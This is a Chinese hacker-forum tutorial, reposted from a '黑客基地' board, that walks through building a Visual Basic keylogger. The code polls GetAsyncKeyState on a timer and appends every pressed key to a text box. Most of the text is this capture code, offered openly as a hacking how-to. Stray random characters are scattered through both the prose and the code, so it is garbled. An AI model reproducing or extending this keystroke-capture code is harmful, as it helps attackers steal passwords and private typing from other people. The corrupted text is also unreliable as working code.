手把手教你做键盘记录器

韩冰

作者：小珂 转自黑基BBS原创作品版 B A0 a9 s, t7 S. b& ?版权归黑客基地所有， 转载请注明出处

前几天写了一篇键盘记录器，好多人反映看不懂， 对新人没什么用处，所以且这篇我会写的 & o* \& \) u8 A1 J8 P2 O很详细，再也不像那篇，出了代码什么也没 ^!^ : @ P& v/ p& z) j. |7 j这个程序将会详细的讲解如何记载键盘的每一次输入。 1 |2 p6 f" ^* @! c7 p! ^: n+ x7 h下面介绍的这个程序主要是利用GetAsyncKeyState函数， ; w- f! o! p, ?; T) r% G7 k使用GetAsyncKeyState可以获得键盘的动作。 2 i; q& y" ]6 {8 l- z7 {GetAsyncKeyState函数根据虚拟键表判断按键的类型。 ; I; o. [, T x0 P: q返回值为一个16位的二进值数，如果被按下则最高位为1， 3 b) Y# r2 S" T: b& t0 q( z即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义： Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer . e* c; E3 {: j. Z8 f8 q好了，函数就先介绍这么多，下面开始动手实战了 ( G1 g* b9 A) Wfirst,当然是创建窗口了 3 s! m& N8 m6 ]* F ' M" F, A1 J" t' R在时间控件的Timer时间中定义检查按键类型，代码如下： Dim AddKey & \8 j* Q! x$ y# L+ ~/ e2 M KeyResult = GetAsyncKeyState(13) '回车键 If KeyResult = -32767 Then AddKey = "[ENTER]" 1 t8 }7 j4 X' s- b GoTo KeyFound ' K' ?( x: p' D' ^ End If KeyResult = GetAsyncKeyState(17) 'Ctrl键 If KeyResult = -32767 Then AddKey = "[CTRL]" , y- t, p5 G/ u6 Q! P- b GoTo KeyFound End If 9 ^( U2 k+ O4 t. V- _0 s KeyResult = GetAsyncKeyState(8) '退格键 ) e$ {* d4 l6 v8 ^/ \8 P If KeyResult = -32767 Then AddKey = "[BKSPACE]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(9) 4 V* S2 H5 q' h# r; C" U If KeyResult = -32767 Then AddKey = "[TAB]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(18) / D/ r0 }2 N g7 K- W" h% _/ x7 ^2 z If KeyResult = -32767 Then $ Z" z% h0 {8 k3 z/ n. X AddKey = "[ALT]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(19) - d5 P8 V& W0 {7 x& O2 Q If KeyResult = -32767 Then AddKey = "[PAUSE]" " w! [4 q0 P' k# ~0 C& T: S0 x) g GoTo KeyFound q) U4 o& z0 h% R& o End If F; P: @; g) X- j9 o 2 P c0 I. G" q7 c, K- ]+ D KeyResult = GetAsyncKeyState(20) 7 G/ i6 O" d0 v {4 l6 f5 {3 G; @ If KeyResult = -32767 Then $ N( P7 o t: M' N2 ` AddKey = "[CAPS]" GoTo KeyFound End If " v3 j8 ?1 c( a! [/ S* p KeyResult = GetAsyncKeyState(27) If KeyResult = -32767 Then AddKey = "[ESC]" GoTo KeyFound . h, @1 \. E3 H" p9 p4 c% Q End If 8 E; Y$ J2 V( l KeyResult = GetAsyncKeyState(33) 2 D8 M" y. f# y% U1 ^7 v If KeyResult = -32767 Then AddKey = "[PGUP]" GoTo KeyFound 1 E+ g" f7 l, \5 K" p: a( w End If ' C7 \! h* O! P4 ?6 ^+ h: [' R KeyResult = GetAsyncKeyState(34) If KeyResult = -32767 Then AddKey = "[PGDN]" + K7 }6 E7 Q/ R) D7 a1 k& v" @1 h GoTo KeyFound : _9 D* L3 |9 p; J End If : M% U E" J K% Z2 z# C KeyResult = GetAsyncKeyState(35) 6 Q6 d4 R1 @' _8 x8 ~$ ^! P" f. M If KeyResult = -32767 Then AddKey = "[END]" ~# v' F U' y GoTo KeyFound End If KeyResult = GetAsyncKeyState(36) If KeyResult = -32767 Then AddKey = "[HOME]" GoTo KeyFound End If 3 B. J: K% a4 _6 O KeyResult = GetAsyncKeyState(44) ! H% P9 _( z0 z If KeyResult = -32767 Then 6 ?9 S7 z$ E1 U) ~4 o. Q AddKey = "[SYSRQ]" ! [( L, C$ q3 P+ }: H4 ? GoTo KeyFound End If 9 T7 {4 Y* ^) S8 `; h$ k$ S) E KeyResult = GetAsyncKeyState(45) 1 D, P$ _3 g% u% I! |) \ If KeyResult = -32767 Then % ]' B/ D$ U U1 a7 H! s, l AddKey = "[INS]" GoTo KeyFound End If : W7 r5 h2 ?$ O5 N: F, r , z1 {# S/ f+ D9 g KeyResult = GetAsyncKeyState(46) If KeyResult = -32767 Then AddKey = "[DEL]" 4 O4 u. K2 v8 s0 h6 I GoTo KeyFound End If , M8 \% o: V# r8 l 7 `3 @) g7 v+ ^+ h; Z, r$ t KeyResult = GetAsyncKeyState(144) ! Y. w$ d0 l6 i, C2 G$ R If KeyResult = -32767 Then - {$ x$ |" l7 G& [ AddKey = "[NUM]" GoTo KeyFound End If 6 }) i0 B1 Q0 d/ Z5 T KeyResult = GetAsyncKeyState(37) If KeyResult = -32767 Then AddKey = "

" GoTo KeyFound . T R! @+ @8 q8 v; H. n End If . j+ L2 z( J7 ]. U# h, B 6 n: u- Y+ \& w8 `+ C KeyResult = GetAsyncKeyState(38) If KeyResult = -32767 Then AddKey = "[UP]" ! _4 Q+ K3 |4 G" N GoTo KeyFound $ q. B# A; [5 G5 P' ~ End If 0 e( M; |* }9 P0 V* B& q KeyResult = GetAsyncKeyState(39) . c( j/ U; Z% P) y: k A; o- p$ E If KeyResult = -32767 Then AddKey = "

" GoTo KeyFound ) @. o7 A3 p/ f! P5 g End If 9 @) S6 \4 k' T# V9 x- z. t; ^ KeyResult = GetAsyncKeyState(40) & [8 ~8 ~, S$ `, Q+ b w If KeyResult = -32767 Then AddKey = "[DOWN]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(112) If KeyResult = -32767 Then 3 T$ D) |& Z5 X r8 w+ z2 s AddKey = "[F1]" / q' ?7 D6 V) F GoTo KeyFound 7 Z1 L" ^! ], V* c0 B- [" X2 { End If KeyResult = GetAsyncKeyState(113) & v7 O5 L2 X/ s5 P- s If KeyResult = -32767 Then AddKey = "[F2]" 8 h7 l7 F- ~5 a2 A' K% d GoTo KeyFound ( v8 V) h- F" S. I! D* N4 w" z End If % F) j6 r5 `4 n7 ^: @' W" a : S" L+ v9 Q7 F$ o6 {: CKeyResult = GetAsyncKeyState(114) If KeyResult = -32767 Then AddKey = "[F3]" 2 ^9 H+ ?" d: @5 J' i K) W GoTo KeyFound End If 6 d6 h3 H. T# n, D! z , _: N e5 q3 j+ {0 M8 AKeyResult = GetAsyncKeyState(115) If KeyResult = -32767 Then $ K/ l' x4 F6 J9 U3 i; m( q, t AddKey = "[F4]" + F* x* ^+ F0 g0 P' I- G* p GoTo KeyFound # T) O( w& K1 K: B2 e& E+ e" Z q9 u4 O End If KeyResult = GetAsyncKeyState(116) If KeyResult = -32767 Then AddKey = "[F5]" : X5 P0 s7 o7 x! p GoTo KeyFound End If 3 U* U' y% _% b" Q9 `2 {3 i7 _ KeyResult = GetAsyncKeyState(117) If KeyResult = -32767 Then % \( @, a% p4 I! e# c. C AddKey = "[F6]" {9 i9 c; q: E! J GoTo KeyFound End If , V, y: u7 A& F. v( ] jKeyResult = GetAsyncKeyState(118) If KeyResult = -32767 Then : r( k4 h- V" D- C AddKey = "[F7]" 9 A! w$ @' [* V/ ]; h GoTo KeyFound End If 0 _& p& a! I# H$ z1 @ * ]6 y& F# v" M6 y9 M% C5 ?, L1 mKeyResult = GetAsyncKeyState(119) & q6 }+ l s; E If KeyResult = -32767 Then AddKey = "[F8]" - C8 C8 y8 A! y' F& V& k GoTo KeyFound ' V/ {2 O7 j- d# @+ @9 y4 k& i End If ! V, x0 N, O* e" X6 J* J * Y& d7 r6 b6 sKeyResult = GetAsyncKeyState(120) If KeyResult = -32767 Then % _0 L0 x* o, c AddKey = "[F9]" GoTo KeyFound End If ! x( a" U' _! i' v) F1 \- R5 z: E 4 T F5 {( v* Y O: z/ L9 b: \7 _KeyResult = GetAsyncKeyState(121) If KeyResult = -32767 Then ! x5 f1 J, ]! J- t AddKey = "[F10]" : m, d2 T9 s* p GoTo KeyFound $ \$ z3 K* m% U ] End If 0 Y: M1 O( V0 u0 U; {; A 2 F! @$ m+ n# ]4 b8 rKeyResult = GetAsyncKeyState(122) 1 }% b w" \: [' r: m$ u If KeyResult = -32767 Then $ R' z0 b! z y AddKey = "[F11]" ; h6 `0 j0 b7 R& l+ l1 J" B! H GoTo KeyFound 7 ^, e1 T9 ?1 C4 d End If 6 l- k. e! W% f3 hKeyResult = GetAsyncKeyState(123) % j3 [8 i+ {6 ^% ` If KeyResult = -32767 Then AddKey = "[F12]" GoTo KeyFound ) g& B4 Z. ]6 J6 S End If 1 O8 ]6 P7 b0 f9 a! X. b7 c ' a& c' M2 Y! vKeyResult = GetAsyncKeyState(124) + G" a: k; H# N, f8 x! n If KeyResult = -32767 Then * I) F+ v2 c8 ~( k G AddKey = "[F13]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(125) If KeyResult = -32767 Then ( k" H0 X, r# `9 b, p- a* T8 Z AddKey = "[F14]" ; ^& y ~& d( L) \/ p4 O$ [ GoTo KeyFound End If - M. z; T; J( M1 r* FKeyResult = GetAsyncKeyState(126) If KeyResult = -32767 Then AddKey = "[F15]" GoTo KeyFound ' Q0 q- `1 A+ H8 F8 B L7 d5 _ End If ! {' M6 w& \' Y: ] KeyResult = GetAsyncKeyState(127) 6 d+ u: q7 u8 _: _ u) i+ H If KeyResult = -32767 Then AddKey = "[F16]" GoTo KeyFound " G( E8 R, H( t$ l, B( S End If KeyResult = GetAsyncKeyState(32) If KeyResult = -32767 Then AddKey = " " GoTo KeyFound * S2 W2 ]2 C1 ~9 M3 r" F% \, t End If 9 q- \& H5 X6 e# Z# @( [ 3 H" U4 ~/ y8 `) W6 FKeyResult = GetAsyncKeyState(186) If KeyResult = -32767 Then AddKey = ";" + c$ C3 `& y( k8 l; F- p GoTo KeyFound 7 `) V8 ^" j' X |, Q% l6 @ End If KeyResult = GetAsyncKeyState(187) If KeyResult = -32767 Then . V, |* i# f' N' O, W7 V AddKey = "=" GoTo KeyFound End If 3 _- c$ Z2 Z+ T* Z% _1 { KeyResult = GetAsyncKeyState(188) " |. O" [' \; N* M If KeyResult = -32767 Then AddKey = "," 6 R% D/ q( x: v! g: u6 \* p GoTo KeyFound End If KeyResult = GetAsyncKeyState(189) . V, ]0 [' H% Z2 E( }* Y# Y, b If KeyResult = -32767 Then AddKey = "-" , }% I G- S& O GoTo KeyFound End If KeyResult = GetAsyncKeyState(190) If KeyResult = -32767 Then 1 ?/ Y% z. C: X AddKey = "." GoTo KeyFound End If KeyResult = GetAsyncKeyState(191) + u7 ~1 l# a$ ?3 w If KeyResult = -32767 Then AddKey = "/" '/ GoTo KeyFound End If t0 L9 i) X1 pKeyResult = GetAsyncKeyState(192) 9 m$ l, u' u& H, Q If KeyResult = -32767 Then AddKey = "`" '` 6 q1 c/ a# {1 @1 q) t GoTo KeyFound 3 ]4 G6 E# k! U! [; O End If ; ?6 k1 f7 P8 i / k. i& y7 Y) j6 ~1 }6 f) J '----------NUM PAD 0 G2 H7 _" C& ~7 Y1 T) ~KeyResult = GetAsyncKeyState(96) % R! n' H) G# g8 N2 e# x If KeyResult = -32767 Then . z* Q5 y! D* B- u: Z+ J AddKey = "0" GoTo KeyFound End If 0 n/ b6 B- i2 }# l8 r" m7 D- KKeyResult = GetAsyncKeyState(97) : L9 [/ w N- i A6 N4 }* \) l If KeyResult = -32767 Then 4 @6 A$ |, v3 A( P0 T AddKey = "1" + M. u G" }0 J6 u _ GoTo KeyFound 8 `$ K- j+ S; c. [ End If 6 F0 v: j3 v& c; [$ j; `$ j6 v5 G KeyResult = GetAsyncKeyState(98) % p' C) p, ^/ @# M9 v If KeyResult = -32767 Then AddKey = "2" ; C; _ \0 p7 k! l6 H) B GoTo KeyFound ) j/ R# k) k. j& L End If / A4 S' C8 M- A& M; n9 y( N- T4 @; I , ], i1 B0 ?: O# \5 a8 `1 MKeyResult = GetAsyncKeyState(99) |- S# j. j# [$ V3 k If KeyResult = -32767 Then . P5 w9 m7 s# Z7 u: r) n+ R AddKey = "3" GoTo KeyFound End If KeyResult = GetAsyncKeyState(100) 4 ?0 {, Q/ d4 @$ { If KeyResult = -32767 Then - Z& k. h% u% ~3 T AddKey = "4" GoTo KeyFound End If 1 X# g( |0 }) N KeyResult = GetAsyncKeyState(101) If KeyResult = -32767 Then . l0 E) B, W; i4 f" f& D AddKey = "5" 3 x! m2 E# a1 S) {+ z9 S GoTo KeyFound End If & T1 W. n! |$ T& X1 \! X1 R+ d- ?KeyResult = GetAsyncKeyState(102) ! |9 z1 J3 ?3 A T% K If KeyResult = -32767 Then . k" o- F9 k& f. Q' C) v$ ?, d$ H AddKey = "6" GoTo KeyFound End If 2 P" Y- n+ e: R4 ^ KeyResult = GetAsyncKeyState(103) If KeyResult = -32767 Then 6 r/ d4 r w- q: b7 M AddKey = "7" " h! _' o8 B; g GoTo KeyFound End If 0 w8 |1 r8 ^8 [; o5 m5 s# Y KeyResult = GetAsyncKeyState(104) If KeyResult = -32767 Then AddKey = "8" $ K {7 o: a d GoTo KeyFound 1 M1 r& V# N6 F6 N% ? End If KeyResult = GetAsyncKeyState(105) If KeyResult = -32767 Then AddKey = "9" GoTo KeyFound End If 6 h" v) Y3 k5 {% I- @: r) N# r , B0 T' u$ w; V( k4 H KeyResult = GetAsyncKeyState(106) If KeyResult = -32767 Then AddKey = "*" 6 R3 C: h4 O$ m. H U1 c GoTo KeyFound 5 a7 r4 l3 [) J+ H: T End If . X, w2 {" A" H 1 n6 t( E0 ~- L6 SKeyResult = GetAsyncKeyState(107) 9 x. o, \& f6 @+ E% J* x If KeyResult = -32767 Then AddKey = "+" GoTo KeyFound End If 0 k! C2 `! k" ? ?& w( V' S' M! ` 7 W5 y2 x$ ?+ m; {' h" u( N9 o+ a1 ?KeyResult = GetAsyncKeyState(108) & X' q+ m& J9 p If KeyResult = -32767 Then AddKey = "[ENTER]" 8 n ^' d) n% @5 ^% V0 }. l2 A GoTo KeyFound End If & T0 j! W- j- {1 v9 ?- EKeyResult = GetAsyncKeyState(109) If KeyResult = -32767 Then AddKey = "-" / ~+ o! l% W+ |. O4 H; U j" H7 U GoTo KeyFound ! d/ F) H: [2 P, p& a% i End If 5 \, L" Z3 J" d, b# Z- s ' k5 n/ w+ B( o5 hKeyResult = GetAsyncKeyState(110) " }7 \, Y i$ V( o0 V If KeyResult = -32767 Then AddKey = "." GoTo KeyFound End If - q5 V. b' y9 I8 z' q( ^ 6 s$ Q1 N2 C H6 m# c0 `3 _' O0 TKeyResult = GetAsyncKeyState(2) If KeyResult = -32767 Then 2 b$ j" k" ^+ `, e AddKey = "/" GoTo KeyFound End If / D- q3 D3 f5 G9 F KeyResult = GetAsyncKeyState(220) 7 K1 v9 C; I0 _" k: L4 U2 C If KeyResult = -32767 Then AddKey = "\" - U2 T: p7 Y' I& w0 l GoTo KeyFound End If 6 {& e9 v2 j+ q8 H, C; T KeyResult = GetAsyncKeyState(222) If KeyResult = -32767 Then AddKey = "'" / @: `: E4 M% u+ U2 C GoTo KeyFound End If ! D! q. x2 [8 g' r! C9 F# {: cKeyResult = GetAsyncKeyState(221) : h# Q8 D1 V3 I* R7 X If KeyResult = -32767 Then 2 u+ R: d% N9 h AddKey = "]" ) Y3 A; {/ ]& l- ^* ?, Z: S GoTo KeyFound End If KeyResult = GetAsyncKeyState(219) / H$ ?& m5 S! ^; Y/ p' L b/ p D If KeyResult = -32767 Then / k! C% H4 w) h }8 n9 n AddKey = "[" 9 R& S* @4 r' B& z& [2 u% W GoTo KeyFound 8 N, A. s; J. \9 y End If KeyResult = GetAsyncKeyState(16) 'shift键 * d! M9 W! k; M8 ]% w0 s If KeyResult = -32767 And TimeOut = 0 Then + C2 N% H+ N7 z7 b2 ^ AddKey = "[SHIFT]" LastKey = AddKey TimeOut = 1 $ v& K; V5 ?0 _. l4 Q GoTo KeyFound End If - s( l$ I/ u7 n. l KeyLoop = 41 6 U2 r }6 D6 ~ 8 x$ L9 X2 }5 i3 ^$ D Do Until KeyLoop = 256 ' 显示其他键 9 _0 X! i! K& ]. f KeyResult = GetAsyncKeyState(KeyLoop) If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop) KeyLoop = KeyLoop + 1 9 E7 e0 V$ `/ r0 O% h2 g Loop 2 @& S+ x. Y; I% M! O# P LastKey = AddKey Exit Sub - j" ]. m' L" [KeyFound: '显示键的信息 9 S$ w" O" h$ X# k2 R: P Text1 = Text1 & AddKey End Sub $ T) T9 c- ~/ @上面的（）里面的数字实际是就是那些键的Ascii码，比如13就代表回车，17代表Ctrl，…… 由于数目太多，一一列举不方便 现提供Ascii表一份供对照 http://www.cstudy.cn/repository/ascii/default.htm 下面是其他的事件 " Y/ _4 l5 R2 l) `" _7 N! c& m4 nPrivate Sub Timer2_Timer() ' u& [( x. a$ S' W; @7 nTimeOut = 0 End Sub " q, _- W$ ~9 `1 L/ X! q; L目的是随时刷新清空 # I! e, w+ E$ K8 e6 `' p